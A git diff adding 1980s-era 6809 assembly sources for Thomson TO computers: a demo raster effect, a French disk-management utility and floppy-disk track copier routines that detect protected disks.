+ JMP BOTTOM
+WECHS LDX <Z+2
+ LDB ,X+
+ CMPX #FINTEX
+ BNE *+7
+ LDX #TEXTE
+ BRA *+4
+ BRA *-2
+ STX <Z+2
+ LDS #FONTES
+ LDA #28
+ MUL
+ LDY <Z+4
+ LEAS D,S
+ PULS D,X,U
+ STD -120,Y
+ STX -80,Y
+ STU -40,Y
+ PULS D,X,U
+ STD ,Y
+ STX 40,Y
+ STU 80,Y
+ PULS D,X,U
+ STD 120,Y
+ LEAY 7*40,Y
+ STX -120,Y
+ STU -80,Y
+ PULS D,X,U
+ STD -40,Y
+ STX ,Y
+ STU 40,Y
+ PULS D,X
+ STD 80,Y
+ STX 120,Y
+ LEAX -7*40+2,Y
+ CMPX #SCROL+40
+ BNE SAMELI
+ LDX #SCROL
+ STX <Z+4
+ LDD <Z+6
+ EXG A,B
+ STD <Z+6
+ STA $E7DD
+ ROLB
+ ROLA
+ ROLB
+ ROLA
+ ANDA #3
+ STA $E7E5
+ LDD #WART
+ STD <Z+8
+ BRA BOTTOM
+SAMELI STX <Z+4
+ MUL
+ MUL
+ MUL
+ MUL
+ LDD ,X++
+BOTTOM LDB #5
+ DECB
+ BNE *-1
+
+ LDA #$E7
+ TFR A,DP
+
+* fin des 64*0 cycles
+
+ LDX #COPPER
+ JMP GENIE
+
+COLORS FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931
+ FDB 938,2611,2618,3815,123
+PAL FDB 16,256*7,-256
+ FDB 1,16*7,-16
+ FDB 256,7,-1
+ FDB 256,16*7,-16
+ FDB 16,7,-1
+ FDB 1,256*7,-256
+ FDB $FFFF
+
+ END
diff --git a/code/3rdparty/sources2-hcl/VIDEO.ASM b/code/3rdparty/sources2-hcl/VIDEO.ASM
new file mode 100644
index 0000000..16a135d
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/VIDEO.ASM
@@ -0,0 +1,122 @@
+****************************************
+* V I D E O *
+* Aujourd'hui j'ai fait joujou avec *
+* $E7E7, et c'est follement amusant. *
+* *
+* Un tube qui déforme l'écran là où *
+* il passe ? (Joystick0) It's ovcourse *
+* another cool trick from Doctor Lô ! *
+****************************************
+
+ ORG $9000
+RGB EQU $100
+
+G ORCC #80
+ PSHS DP
+ LDA #$E7
+ TFR A,DP
+
+ LDA #32
+ BITA <$E7
+ BEQ *-2
+ BITA <$E7
+ BNE *-2
+ PSHS A
+ MUL
+ MUL
+ MUL
+ MUL
+ PULS A
+ BITA <$E7
+ BEQ *-10
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BPL *-7
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BMI *-7
+ LDX #1598
+ LEAX -1,X
+ BNE *-2
+
+ LDB #$5C France
+ LDA #$7C Export
+
+GOON STA <$E7
+
+ LDX #12
+LIGHT CLRA 2
+ STA <$DB 4
+ LDD #RGB 3
+ STB <$DA 4
+ STA <$DA 4
+ ADDD #RGB 4
+ STD LIGHT+4 6
+ MUL 11
+ MUL 11
+ LDA 1,X 5
+ LDA #$5C 2
+ LEAX -1,X 5
+ BNE LIGHT 3
+
+ STA <$E7
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ NOP
+ LDX #11
+DARK CLRA 2
+ STA <$DB 4
+ LDD #10*RGB 3
+ STB <$DA 4
+ STA <$DA 4
+ SUBD #RGB 4
+ STD DARK+4 6
+ MUL 11
+ MUL 11
+ LDA 1,X 5
+ LDA #$7C 2
+ LEAX -1,X 5
+ BNE DARK 3
+
+ LDX #RGB
+ STX LIGHT+4
+ LDX #10*RGB
+ STX DARK+4
+ LDB 1,X
+ LDX #2296
+ LDB <$CC
+ BITB #1
+ BEQ *+5
+ NOP
+ BRA *+4
+ LEAX -8,X
+ BITB #2
+ BEQ *+5
+ NOP
+ BRA *+4
+ LEAX 8,X
+ LEAX -1,X
+ BNE *-2
+ LDB <$C8
+ BEQ GOON
+
+RDP
+ CLRA
+ LDX #0
+ LEAY ,X
+ JSR $EC00
+ PULS DP
+ SWI
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/Advanced Disk Gesting.ASM b/code/3rdparty/sources3-lambinet/Advanced Disk Gesting.ASM
new file mode 100644
index 0000000..82fb7cc
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Advanced Disk Gesting.ASM
@@ -0,0 +1,327 @@
+***************************************
+******* Advenced Disks Gesting ********
+******** Micromédia Systèmes *********
+***************************************
+
+
+************** EQUATES ****************
+
+PUTC EQU $E803
+GETC EQU $E806
+KTST EQU $E809
+DKCO EQU $E82A
+COMS EQU $EC03
+EXTR EQU $EC0C
+DIRR EQU $3FC1
+SAISIE EQU $3FC4
+INDGET EQU $600A
+DEFTXT EQU $61E0
+TYPDSK EQU $6219
+FILNAM EQU $624F
+FILCOM EQU $628E
+IWTFLG EQU $62A9
+
+************** PROGRAM ****************
+
+ ORG $9000
+DEBUT PSHS U,Y,X,DP,A,CC
+ LEAX ADGGET,PCR
+ CMPX INDGET
+ BEQ FINDEB
+ LDX INDGET
+ STX ADGGET+3,PCR
+ LEAX TXT0,PCR
+ BSR AFFICH
+ BRA SOR
+REARM LDB #$0C
+ JSR PUTC
+SOR CLRB
+ LEAX ADGGET,PCR
+ STX INDGET
+FINDEB PULS CC,A,DP,X,Y,U,PC
+AFFICH LDB ,X+
+ CMPB #00
+ BEQ FINAFF
+ JSR PUTC
+ BRA AFFICH
+FINAFF RTS
+SORTIE LDX ADGGET+3,PCR
+ STX INDGET
+ LEAX TXT1,PCR
+ BSR AFFICH
+FINSOR PULS CC,A,DP,X,Y,U,PC
+ADGGET PSHS U,Y,X,DP,A,CC
+ JSR $FF92
+F0 CMPB #$90
+ BNE F1
+ LEAX TXT2,PCR
+ BRA COMDIR COMMANDE DIRECTE
+F1 CMPB #$91
+ BNE F3
+ LEAX TXT3,PCR
+COMDIR STX DEFTXT
+ CLR IWTFLG
+ CLRB
+ PULS CC,A,DP,X,Y,U,PC
+EXIT LEAX TXT2-7,PCR
+ BSR AFFICH
+ CLRB
+ PULS CC,A,DP,X,Y,U,PC
+F3 CMPB #$92
+ BNE F5
+ LBSR CONT3P
+ BRA EXIT
+F5 CMPB #$94
+ BNE F6
+ LBSR CONT5P
+ BRA EXIT
+F6 CMPB #$95
+ BEQ SORTIE
+F4 CMPB #$93
+ BEQ COPY
+ PULS CC,A,DP,X,Y,U,PC
+COPY LDX ADGGET+3,PCR
+ STX INDGET
+ LEAX TXT4,PCR
+ BSR AFFICH
+INPUTT JSR GETC
+ CMPB #$33
+ BNE T5
+ JSR PUTC
+ LBSR CONT3P
+ BRA L1
+T5 CMPB #$35
+ BNE INPUTT
+ JSR PUTC
+ LBSR CONT5P
+L1 LEAX TXT5,PCR
+ LBSR AFFICH
+INPUTL JSR GETC
+ CMPB #$30
+ BLO INPUTL
+ CMPB #$34
+ BHI INPUTL
+ BNE PRINTL
+ LDA TYPDSK
+ CMPA #$02
+ BNE INPUTL
+PRINTL JSR PUTC
+ STB TAMPON+6,PCR
+ SUBB #$30
+ STB $6049
+ LDX #FILNAM
+ LDA #$0C
+INIFI1 CLR ,X+
+ DECA
+ BNE INIFI1
+ LDD #$0820
+INIFI2 STB ,X+
+ DECA
+ BNE INIFI2
+ LDA #$7E
+ STA ,X+
+ LEAU CATRED,PCR
+ STU ,X
+ LEAX ADGGET,PCR
+ STX INDGET
+ LEAX TXT9,PCR
+ LBRA COMDIR
+
+*************************
+* *
+* Catalogue réduit *
+* *
+*************************
+
+CATRED PSHS U,Y,X,DP,A,CC
+ LEAX TXT7,PCR
+ LBSR AFFICH
+ LDA $618C
+ DECA
+ STA $E7E5
+ LDA $603B
+ ANDA #$78
+ LSRA
+ LSRA
+ LSRA
+ BITA #$08
+ BNE SAT
+ ORA #$08
+ BRA COLOR
+SAT ANDA #$07
+COLOR STA $619F
+ LDA #$FF
+ STA $6288
+ LDA #$00
+ STA $61A0
+ LDX #$A000
+ LDY #$1700
+ LDA #$03
+ LDU #DIRR
+ JSR COMS
+ TSTB
+ LBNE REARM
+RTCOP LEAY TAMPON,PCR
+ LDX #$0C43
+ STX ,Y++
+ LDX #$4F50
+ STX ,Y++
+ LDX #$5922
+ STX ,Y++
+ LEAY 1,Y
+ LDX #FILNAM
+ LDD #$3A08
+ STA ,Y+
+COPNOM LDA ,X+
+ STA ,Y+
+ DECB
+ BNE COPNOM
+ LDD #$2E03
+ STA ,Y+
+COPSUF LDA ,X+
+ STA ,Y+
+ DECB
+ BNE COPSUF
+ LDA #$22
+ STA ,Y+
+ LDX #$0D00
+ STX ,Y
+ LEAX AUTO,PCR
+ STX INDGET
+ PULS CC,A,DP,X,Y,U,PC
+
+********************************
+* *
+* AUTO (Reprise automatique *
+* en fin de Catalogue réduit *
+* *
+********************************
+
+AUTO PSHS U,Y,X,DP,A,CC
+ LEAX AUTO2,PCR
+ STX INDGET
+ LEAX TAMPON,PCR
+ LBRA COMDIR
+
+********************************
+* *
+* AUTO2 (Reprise automatique *
+* lors de l'Insert a disk ... *
+* *
+********************************
+
+AUTO2 PSHS U,Y,X,DP,A,CC
+ LDX $09,S
+ CMPX #$3D19
+ BEQ CONT
+ LEAS $1D,S
+ LBRA REARM
+CONT LDX ADGGET+3,PCR
+ STX INDGET
+ LEAX TXT4,PCR
+ LBSR AFFICH
+ LEAX TXT6,PCR
+ LBSR AFFICH
+INPU2T JSR GETC
+ CMPB #$33
+ BNE T52
+ JSR PUTC
+ LBSR CONT3P
+ BRA L2
+T52 CMPB #$35
+ BNE INPU2T
+ JSR PUTC
+ LBSR CONT5P
+L2 LEAX TXT5,PCR
+ LBSR AFFICH
+INPU2L JSR GETC
+ CMPB #$30
+ BLO INPU2L
+ CMPB #$34
+ BHI INPU2L
+ BNE PRIN2L
+ LDA TYPDSK
+ CMPA #$02
+ BNE INPU2L
+PRIN2L JSR PUTC
+ SUBB #$30
+ STB LECT+1,PCR
+ STB $6049
+ LDX #FILCOM
+ LDY #FILNAM+11
+ LDB #8
+COMMEN LDA ,X+
+ STA ,Y+
+ DECB
+ BNE COMMEN
+ LEAX TXT8,PCR
+ LBSR AFFICH
+ LDA $618C
+ DECA
+ STA $E7E5
+ LDX #$A000
+ LDY #$1700
+ LDA #$03
+ LDU #SAISIE
+ JSR COMS
+ TSTB
+ LBNE REARM
+ LDX #FILNAM
+ LEAY $11,S
+ LDB #$13
+COPFIL LDA ,X+
+ STA ,Y+
+ DECB
+ BNE COPFIL
+LECT LDA #0
+ STA ,Y
+ LEAX ADGGET,PCR
+ STX INDGET
+ LEAX TXT10,PCR
+ LBSR AFFICH
+ LDB #$0D
+ PULS CC,A,DP,X,Y,U,PC
+CONT3P PSHS U,Y,X,DP,B,A,CC
+ LDA TYPDSK
+ CMPA #$02
+ BEQ FINCON
+ LDD #$0254
+ BRA MODCON
+CONT5P PSHS U,Y,X,DP,B,A,CC
+ LDA TYPDSK
+ CMPA #$01
+ BEQ FINCON
+ LDD #$01D4
+MODCON STA TYPDSK
+ STB $E7E7
+ LDD #$0100
+ STD $6048
+ JSR DKCO
+ LDA #$02
+ STA $604D
+ESSAI2 LDD #$4014
+ STA $6048
+ STB $604B
+ JSR DKCO
+ TST $604E
+ BEQ FINCON
+ DEC $604D
+ BEQ FINCON
+ LDA #$20
+ STA $6048
+ JSR DKCO
+ BRA ESSAI2
+FINCON PULS CC,A,B,DP,X,Y,U,PC
+TAMPON RMB $20
+TXT0 RMB $69
+TXT1 RMB $28
+TXT2 RMB $A
+TXT3 RMB $A
+TXT4 RMB $4D
+TXT5 RMB $22
+TXT6 RMB $D
+TXT7 RMB $5
+TXT8 RMB $4
+TXT9 RMB $D
+TXT10 RMB $4
+ END
diff --git a/code/3rdparty/sources3-lambinet/Copiers/CC++.ASM b/code/3rdparty/sources3-lambinet/Copiers/CC++.ASM
new file mode 100644
index 0000000..561993e
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Copiers/CC++.ASM
@@ -0,0 +1,306 @@
+* CC++ PAR MICHEL SAINT-BRIANT
+* Pour copie de disquettes TO
+
+RETOUR EQU $6AF9 (=X% EN BASIC 512)
+ORIGIN EQU $6ABA (=O% EN BASIC 512)
+DESTIN EQU $6A6D (=D% EN BASIC 512)
+PISTE EQU $6AC1 (=P% EN BASIC 512)
+
+ ORG $8000
+
+*VERIFIER DISK-ORIGIN. PROTEGE
+*un EXEC analyse la disquette dans le
+*lecteur ORIGIN (O% sous BASIC512) et
+*retourne dans la variable X% l'état du
+*lecteur:
+* X%=0 -> OK=disquette protégée
+* X%=255 -> disquette non prot.
+* X%=254 -> lecteur vide.
+
+VERPRO PSHS A,B,DP,CC,X,Y,U
+ CLR RETOUR
+ LDA ORIGIN
+ STA >$6049
+ JSR $E09D
+ JSR $E0A7
+ JSR $E452
+ BCS NOPRET
+ LDA 1,X
+ BITA #$04
+ BNE FINVER
+ BRA INCORR
+
+*VERIFIER DISK-DESTIN. NON PROTEGE
+*un EXEC analyse la disquette dans le
+*lecteur DESTIN (D% sous BASIC512) et
+*retourne dans la variable X% l'état du
+*lecteur:
+* X%=0 -> OK=disq. non protégée
+* X%=255 -> disquette protégée.
+* X%=254 -> lecteur vide.
+
+VERNON PSHS A,B,DP,CC,X,Y,U
+ CLR RETOUR
+ LDA DESTIN
+ STA >$6049
+ JSR $E09D
+ JSR $E0A7
+ JSR $E452
+ BCS NOPRET
+ LDA 1,X
+ BITA #$04
+ BEQ FINVER
+INCORR DEC RETOUR
+FINVER LDA #$40
+ STA 2,X
+ CLR ,X
+ PULS A,B,DP,CC,X,Y,U,PC
+
+NOPRET LDA #254
+ STA RETOUR
+ BRA FINVER
+
+* COPIE D'UNE PISTE EN ABSOLUE FIDELITE
+* Lit la piste P% du lecteur O% et
+* stocke le résultat dans la banque
+* courante depuis $A200 et restructure
+* les signaux.
+
+AF PSHS A,B,DP,CC,X,Y,U
+ JSR $E09D
+ LDA #2
+ LDB ORIGIN
+ STD <$48
+ LDA PISTE PISTE=P (P%)
+ STA <$4B
+ JSR $E0A7
+ JSR $E452
+ JSR $E341
+ LDB #$1B
+ JSR $E394
+ LDD #$E718
+ TFR A,DP
+ STB <$D0
+ LDA >$6057
+ ORA #4
+ STA <$D2
+ LDX #$A000
+ LDU #$FFFF
+ LDA #0
+PREPA STU ,X++
+ DECA
+ BNE PREPA
+ LDA #$40
+ATTL0 BITA <$D1
+ BEQ ATTL0
+ATTL1 BITA <$D1
+ BNE ATTL1
+ LDA <$D3
+ATTL3 LDB <$D0
+ BPL ATTL3
+ LDA <$D3
+ ANDB #1
+ STD ,X++
+ LDA <$D1
+ BITA #$40
+ BEQ ATTL3
+ CLR <$D0
+ LDA #$40
+ STA <$D2
+ LDA #$FE
+ STA 1,X
+
+* ON MET A 4E LES PREMIERS OCTETS
+
+ LDY #$A200
+ LDA #$4E
+PREM1 LDB 1,Y
+ BNE POSE
+ STA ,Y++
+ BRA PREM1
+
+* ON POSE DES CODES FE POUR STOPPER
+
+POSE LDB #$FE
+ STB 1,X
+ LEAX 1,X
+STOP LDA ,--X
+ BMI FINLIR
+ BEQ STOP
+ LEAX 1,X
+ STB 7,X
+ STB 9,X
+ STB 11,X
+ STB 13,X
+ STB 15,X
+
+* ON RESTITUE LES CODES A1 (+ LES 00) EN
+* RECTIFIANT LE NOMBRE DE CODES A1 POUR
+* LES SYNCHROS (3 POUR TO8/8D/9+ ET 2
+* SEULEMENT POUR LES ATARI ST ET PC720K)
+
+
+REST0 LEAX 1,X
+REST1 LDA ,--X
+ BMI FINLIR
+ BEQ REST1
+ LEAX 1,X
+ LDA #3 <---- nombre de A1
+ LDU #$A10A
+REST2 STU ,--X
+ DECA
+ BNE REST2
+ LDU #$0000
+ LDA #$0C
+REST3 STU ,--X
+ DECA
+ BNE REST3
+ BRA REST0
+
+FINLIR PULS A,B,CC,DP,X,Y,U,PC
+
+* ON ECRIT LA PISTE RESTRUCTUREE
+* sur piste P% du lecteur D% depuis la
+* banque courante ($A200 ...)
+
+ PSHS A,B,CC,DP,X,Y,U
+ JSR $E09D
+ LDA #$40
+ LDB DESTIN
+ STD <$48
+ LDA PISTE
+ STA <$4B
+ JSR $E004
+ CLR <$48
+ JSR $E0A7
+ JSR $E45A
+ LDB #$18
+ JSR $E394
+ JSR $E341
+ LDA #$E7
+ TFR A,DP
+ATTI0 LDA <$D3
+ LDA <$D0
+ BPL ATTI0
+ATTI1 LDA <$D0
+ BPL ATTI1
+ LDD #0
+ STD <$D3
+ LDD #$4004
+ STB <$D0
+INDEX0 BITA <$D1
+ BEQ INDEX0
+INDEX1 BITA <$D1
+ BNE INDEX1
+ LDX #$A200
+ATTE0 LDA <$D3
+ LDA <$D0
+ BPL ATTE0
+ATTE1 LDA <$D0
+ BPL ATTE1
+ LDD #$4EFF
+ STD <$D3
+ LDB #$04
+ STB <$D0
+ATTE2 LDB <$D0
+ BPL ATTE2
+ LDD ,X++
+ TSTB
+ BMI FINI
+ BNE DEBSIG DEBUT DE SIGNAL
+ STA <$D3
+ BRA ATTE2
+DEBSIG STD <$D3
+ATTE3 LDB <$D0
+ BPL ATTE3
+ LDD ,X++
+ TSTB
+ BMI FINI
+ BEQ FINSIG
+ STA <$D3
+ BRA ATTE3
+FINSIG LDB #$FF
+ STD <$D3
+ BRA ATTE2
+FINI STA <$D3
+ATTE4 LDD <$D0
+ BPL ATTE4
+ LDA ,X++
+ STA <$D3
+ BITB #$40
+ BEQ ATTE4
+ CLR <$D0
+ LDA #$40
+ STA <$D2
+ PULS A,B,DP,CC,X,Y,U,PC
+
+* COPIE D'UNE PISTE EN FIDELITE NORMALE
+* copie du type BACKUP sans formatage.
+* depuis lecteur O% vers lecteur D% pour
+* la piste P% ;en retour on peut lire X%
+* X%=0 Tout est OK
+* X%=255 Lecture impossible
+* X%=254 Ecriture impossible
+
+FN PSHS A,B,DP,CC,X,Y,U
+ CLR RETOUR
+ LDA #$60
+ TFR A,DP
+ LDA ORIGIN
+ STA <$49
+ LDA PISTE
+ STA <$4B
+ LDX #$A000
+ STX <$4F
+C1010 LDA #1
+ STA <$4C
+C1020 LDA #2 <-nbre de tentati-
+ STA FOIS \ves de lecture.
+C1030 LDA #2
+ STA <$48
+ JSR $E004
+ BCC C1040
+ DEC FOIS
+ BNE C1030
+ COM RETOUR
+ BRA FINFN
+C1040 INC <$4F
+ LDA <$4C
+ ADDA #5 <-un facteur de 5
+ CMPA #16 \pour un entre-
+ BLS C1050 lacement de 7.
+ SUBA #16
+C1050 STA <$4C
+ CMPA #1
+ BNE C1020
+ LDA DESTIN
+ STA <$49
+ LDX #$A000
+ STX <$4F
+C2010 LDA #1
+ STA <$4C
+C2020 LDA #2 <-nbre de tentati-
+ STA FOIS \ves d'écriture
+C2030 LDA #8
+ STA <$48
+ JSR $E004
+ BCC C2040
+ DEC FOIS
+ BNE C2030
+ LDA #254
+ STA RETOUR
+ BRA FINFN
+C2040 INC <$4F
+ LDA <$4C
+ ADDA #5 <-facteur de 5
+ CMPA #16
+ BLS C2050
+ SUBA #16
+C2050 STA <$4C
+ CMPA #1
+ BNE C2020
+FINFN PULS A,B,DP,CC,X,Y,U,PC
+
+FOIS FCB 0
+
+ END
diff --git a/code/3rdparty/sources3-lambinet/Copiers/CC.ASM b/code/3rdparty/sources3-lambinet/Copiers/CC.ASM
new file mode 100644
index 0000000..5133b18
--- /dev/null
+++ b/code/3rdparty/sources3-lambinet/Copiers/CC.ASM
@@ -0,0 +1,1255 @@
+C0000 BSR C0010
+ LBRA C0150
+C0010 PSHS B
+ PSHS X
+ LDB #$1B
+ JSR $E803
+ LDB #$41
+ JSR $E803
+ LDB #$1F
+ JSR $E803
+ PULS B
+ JSR $E803
+ PULS B
+ JSR $E803
+ PULS B
+ CLRA
+ STD >$6150
+ BEQ C0030
+ LDA #$02
+ STA >$6105
+ LDY #$6150
+ CLR >$617C
+ LDB #$42
+ JSR $EC0C
+ LDX #$6155
+C0020 LDB ,X+
+ BEQ C0040
+ CMPB #$20
+ BLS C0020
+ JSR $E803
+ BRA C0020
+C0030 LDB #$30
+ JSR $E803
+C0040 RTS
+ LDY #$00FF
+ LDA #$01
+ JSR $EC00
+ LDB #$80
+ PSHS B
+C0050 DEC ,S
+ BEQ C0090
+ LDX #$0BBB
+C0060 LEAX -1,X
+ BNE C0060
+ LDX #$FFFF
+ LDY #$0000
+ LDA #$01
+ JSR $EC00
+ CMPX #$F000
+ BNE C0070
+ LDD #$0011
+ STD >$8428
+C0070 CMPX #$F0FF
+ BNE C0080
+ LDD #$FFEF
+ STD >$8428
+C0080 TFR X,D
+ ADDD >$8428
+ TFR D,X
+ CLRA
+ TFR D,Y
+ LDA #$01
+ JSR $EC00
+ BRA C0050
+C0090 LDX #$F0FF
+ LDY #$00FF
+ LDA #$01
+ JSR $EC00
+ PULS B
+ RTS
+C0100 BSR C0130
+ LDA >$E7C3
+ ANDA #$FE
+ STA >$E7C3
+ LDX #$5E27
+ LDD #$04C8
+C0110 STB ,X
+ LEAX <$28,X
+ DECA
+ BNE C0110
+ LDA >$E7C3
+ ORA #$01
+ STA >$E7C3
+ LDX #$5E27
+ LDD #$0310
+C0120 STB ,X
+ LEAX <$28,X
+ DECA
+ BNE C0120
+ LDB #$F0
+ STB ,X
+ RTS
+C0130 LDB ,U+
+ BEQ C0140
+ JSR $E803
+ BRA C0130
+C0140 RTS
+C0150 JSR $E806
+ BCS C0150
+ LDX #$F0FF
+ LDY #$00FF
+ LDA #$01
+ JSR $EC00
+C0160 LDX #$0BBB
+C0170 LEAX -1,X
+ BNE C0170
+ LDX #$FFFF
+ LDY #$0000
+ LDA #$01
+ JSR $EC00
+ CMPX #$F000
+ BNE C0180
+ LDD #$0011
+ STD >$8428
+C0180 CMPX #$F0FF
+ BNE C0190
+ LDD #$FFEF
+ STD >$8428
+C0190 TFR X,D
+ ADDD >$8428
+ TFR D,X
+ CLRA
+ TFR D,Y
+ LDA #$01
+ JSR $EC00
+ JSR $E809
+ BCC C0160
+ JSR $E806
+ LDX #$F0FF
+ LDY #$00FF
+ LDA #$01
+ JSR $EC00
+ RTS
+C0200 LDU #C2180 #$7700
+ LBSR C0100
+C0210 BSR C0150
+ ANDB #$DF
+C0220 CMPB #$48
+ BHI C0210
+ CMPB #$41
+ BLT C0210
+ SUBB #$41
+ ASLB
+ ASLB
+ ASLB
+ PSHS B
+ LDA #$50
+ MUL
+ ADDD #$4703
+ TFR D,U
+ LDA >$E7C3
+ ORA #$01
+ STA >$E7C3
+ LDD #$1F0F
+C0230 STA ,U
+ LEAU <$28,U
+ DECB
+ BNE C0230
+ LEAU >-ç0257,U
+ LDD #$FF0F
+C0240 STA ,U
+ LEAU <$28,U
+ DECB
+ BNE C0240
+ LEAU >-ç0257,U
+ LDB #$0F
+C0250 COM ,U
+ LEAU <$28,U
+ DECB
+ BNE C0250
+ LEAU >-ç0257,U
+ LDD #$FF0F
+C0260 STA ,U
+ LEAU <$28,U
+ DECB
+ BNE C0260
+ LEAU >-ç0257,U
+ LDD #$F00F
+C0270 STA ,U
+ LEAU <$28,U
+ DECB
+ BNE C0270
+ PULS B
+ LDU #$83C0
+ LEAU B,U
+ LDX #$8412
+ LDB #$07
+C0280 LDA ,U+
+ STA ,X+
+ DECB
+ BNE C0280
+ LDA >$8412
+ BNE C0290
+ LDU #$7922
+ LBSR C0130
+ LDB >$8400
+ LDX #$574B
+ LBSR C0000
+C0290 LDU #$795C
+ LBSR C0130
+C0300 LBSR C0150
+ CMPB #$30
+ BLT C0300
+ CMPB #$39
+ BHI C0300
+ JSR $E803
+ SUBB #$30
+ STB >$8401
+ LDA #$0A
+ MUL
+ STB >$840B
+C0310 LBSR C0150
+ CMPB #$0D
+ BEQ C0320
+ CMPB #$30
+ BLT C0310
+ CMPB #$39
+ BHI C0310
+ JSR $E803
+ SUBB #$30
+ ADDB >$840B
+ STB >$8401
+C0320 LDB >$8412
+ BNE C0330
+ LDB >$8401
+ CMPB >$8400
+ BHI C0290
+C0330 LDU #$7988
+ LBSR C0100
+C0340 LBSR C0150
+ CMPB #$4E
+ LBEQ C0200
+ CMPB #$6E
+ LBEQ C0200
+ CMPB #$4F
+ BEQ C0350
+ CMPB #$6F
+ BNE C0340
+C0350 LDB >$8412
+ BNE C0360
+ LDB >$8400
+ SUBB >$8401
+ STB >$8400
+C0360 LDU >$8417
+ LBSR C0130
+ TST >$8412
+ BEQ C0370
+ LDU #$7A9A
+ BRA C0380
+C0370 LDU #$7AC6
+C0380 LBSR C0130
+ LDA #$00
+ STA >$8408
+C0390 LDA >$8408
+ CMPA #$50
+ LBEQ C0200
+ STA >$8407
+C0400 LDU #$7AF2
+ LBSR C0130
+ LBSR C0150
+ JSR $E09D
+ JSR $E0A7
+ JSR $E452
+ BCS C0410
+ LDA 1,X
+ BITA #$04
+ BNE C0420
+C0410 JSR $E0B9
+ LDU #$7BAA
+ LBSR C0130
+ LBSR C0150
+ BRA C0400
+C0420 JSR $E0B9
+ LDU #$7C66
+ LBSR C0130
+ LBSR C0520
+ CMPA #$00
+ BEQ C0430
+ LDU #$7C9D
+ LBSR C0130
+ LBSR C0150
+ LBRA C0200
+C0430 CLR >$83FF
+C0440 LDA >$604B
+ CMPA #$50
+ BNE C0450
+ DEC >$604B
+C0450 INC >$83FF
+ LDA >$83FF
+ CMPA >$8401
+ BHI C0390
+C0460 LDU #$7D55
+ LBSR C0130
+ LDB >$83FF
+ LDX #$4F4D
+ LBSR C0010
+ LBSR C0150
+ JSR $E09D
+ JSR $E0A7
+ JSR $E452
+ BCS C0470
+ LDA 1,X
+ BITA #$04
+ BEQ C0480
+C0470 JSR $E0B9
+ LDU #$7E0B
+ LBSR C0130
+ LBSR C0150
+ BRA C0460
+C0480 JSR $E0B9
+ LDU #$7EC7
+ LBSR C0130
+ LBSR C1170
+ CMPA #$00
+ BEQ C0440
+ LDU #$7EFF
+ LBSR C0130
+C0490 LBSR C0150
+ CMPB #$41
+ BEQ C0510
+ CMPB #$61
+ BEQ C0510
+ CMPB #$52
+ BEQ C0500
+ CMPB #$72
+ BNE C0490
+C0500 BRA C0460
+C0510 LBRA C0220
+C0520 TST >$8412
+ LBNE C0970
+ LDX #$A000
+ STX >$8402
+ LDA #$02
+ STA >$E7E5
+ LDA >$8407
+ STA >$604B
+ LDX #$8450
+ STX >$8419
+C0530 CLR >$6049
+ LDA #$40
+ STA >$6048
+ JSR $E004
+ LDA >$8413
+ BEQ C0540
+ BSR C0580
+ CMPA #$01
+ BEQ C0570
+C0540 INC >$6049
+ LDA >$8414
+ BEQ C0550
+ BSR C0580
+ CMPA #$01
+ BEQ C0570
+C0550 LDA >$604B
+ INCA
+ STA >$604B
+ CMPA #$50
+ BNE C0530
+C0560 STA >$8408
+ CLRA
+ RTS
+C0570 LDA >$604B
+ BRA C0560
+C0580 LDA #$0F
+ STA >$7098,PCR=C0810+1
+ JSR $E09D
+ JSR $E0A7
+ JSR $E45A
+ JSR $E341
+ PSHS CC
+ LDB #$1B
+ JSR $E394
+ LDD #$E718
+ TFR A,DP
+ STB <$D0
+ LDA #$02
+ STA >$6200
+C0590 LDY #$1858
+ LDU #$8600
+ LDX #$85FD
+ LDA #$40
+C0600 BITA <$D1
+ BEQ C0600
+C0610 BITA <$D1
+ BNE C0610
+ LDA <$D3
+C0620 LDB <$D0
+ BPL C0620
+ LEAY -1,Y
+ LBEQ $715B =C0950+1
+ LDA <$D3
+ BITB #$01
+ BEQ C0620
+ TFR Y,D
+ ADDD #$8600
+ STD <$702E,PCR=C0730+1
+C0630 LDA <$D0
+ BPL C0630
+C0640 LDA <$D3
+ CMPA #$A1
+ BEQ C0660
+ STA ,X+
+C0650 LDD <$D0
+ BPL C0650
+ BITA #$01
+ BEQ C0700
+ LDA <$D3
+ CMPA #$A1
+ BNE C0680
+ BITB #$40
+ BNE C0710
+ LEAX -1,X
+C0660 LEAX 3,X
+ PSHU X
+C0670 LDD <$D0
+ BPL C0670
+ LDA <$D3
+ BITB #$40
+ BNE C0710
+ CMPA #$A1
+ BEQ C0670
+C0680 STA ,X+
+C0690 LDD <$D0
+ BPL C0690
+ BITA #$01
+ BNE C0640
+C0700 LDA <$D3
+ BITB #$40
+ BEQ C0680
+C0710 STA ,X+
+C0720 LDB <$D0
+ BPL C0720
+ BITB #$01
+ BNE C0740
+ LDA <$D3
+C0730 CMPX #$0000
+ BCS C0710
+C0740 CMPU #$85FB
+ BCS C0750
+ DEC >$6200
+ LBNE C0590
+ LBRA $715E =C0960+1
+C0750 LDY #$A000
+ LDD #$0001
+ STD ,--Y
+ TFR X,D
+ SUBD #$8600
+ CMPD >$840E
+ BMI C0780
+ PSHS U,B,A
+ LDD #$8600
+ SUBD 2,S
+ LSRA
+ RORB
+ PSHS B,A
+ LDD 2,S
+C0760 DEC <$7098,PCR=C0810+1
+ BPL C0770
+ LEAS 6,S
+ LBRA $715E =C0960+1
+C0770 SUBD ,S
+ CMPD >$840E
+ BHI C0760
+ LEAS 4,S
+ PULS U
+C0780 STD ,--Y
+C0790 PSHS Y
+C0800 LDA ,-X
+ STA ,-Y
+ CMPX ,U
+ BHI C0800
+ PULS A,B
+ SUBD #$0001
+ STD ,--Y
+ PULU X
+ CMPU #$8600
+ BEQ C0820
+ LEAX <-$1E,X
+C0810 LEAX 12,X
+ BRA C0790
+C0820 TFR Y,X
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
+ NOP
